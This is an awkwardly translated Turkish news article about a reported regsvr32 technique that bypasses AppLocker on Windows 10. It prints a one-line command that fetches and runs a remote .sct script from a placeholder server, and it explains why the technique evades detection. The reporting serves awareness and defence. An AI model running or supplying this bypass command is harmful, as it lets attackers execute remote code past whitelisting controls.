Colorado'dan bir isim, Casey Smith adındaki bir araştırmacı Regsvr32'nin Windows 10'da AppLocker'ı atlamak için kullanılabileceğini buldu ve bu bilgisayar kullanıcıları için, özellikle de iş ortamındakiler için büyük bir sorun.

AppLocker ilk olarak Windows 7 ve Windows Server 2008 R2'de tanıtıldı. Yöneticilerin, benzersiz dosya kimliğine bağlı olarak hangi grup veya kullanıcıların bazı uygulamalardan veya tüm uygulamalardan yararlanabileceğini belirlemelerine izin vermek için tasarlanmıştır. AppLocker'ı kullanma eğiliminde olan bir kişiyseniz, uygulamaların izlerini çalıştırmalarına veya durdurmalarına izin vermek için belirli kurallar oluşturmak için kullanılabileceğinin bilinmesi gerekir.

Farkında olmayanlar için, Regvr32 DLL'leri kaydetmek ve kaydını silmek için kullanılabilir. Bu, bir komut satırı yardımcı programı olarak gören tek tıklamalı bir araç değildir, bu nedenle yalnızca gelişmiş bilgisayar kullanıcılarının sunduğu olanaklardan yararlanmaya çalışmalıdır.

Bu tekniği kullanarak, bilgisayar sisteminin kayıt defterinde değişiklik yapmadığını biliyoruz, bu da yöneticilerin herhangi bir değişiklik yapılıp yapılmadığını bilmesini zorlaştırıyor.

regsvr32 / s / n / u /i:http://server/file.sct scrobj.dll

“Buradaki ilginç şey, regsvr32'nin zaten proxy farkında olması, TLS kullanması, yönlendirmeleri izlemesi vb.”. Ve… İmzalı, varsayılan bir MS ikilisi olduğunu tahmin ettiniz. Bu yüzden, yapmanız gereken tek şey,.sct dosyanızı kontrol ettiğiniz bir yerde barındırmak, ”diye yazdı.

Yukarıdaki teknik idari ayrıcalıklar gerektirmez ve kayıt defterini değiştirmez. Ayrıca, komut dosyaları hem HTTP hem de HTTPS üzerinden çağrılabilir. Şu anda, Microsoft bu küçük sorun için bir düzeltme eki yayınlamamıştır, bu nedenle bu noktada tek seçenek Regsvr32'yi Windows Güvenlik Duvarı üzerinden engellemektir.

İlginç bir şekilde, yazılım devi işletim sisteminin karşı karşıya olduğu bu güvenlik sorunu hakkında henüz cevap vermedi. Şimdi açıkta olduğu için, gelecekteki bir yama görüşmelerinin yanı sıra şirketten bir şeyler duymayı umuyoruz.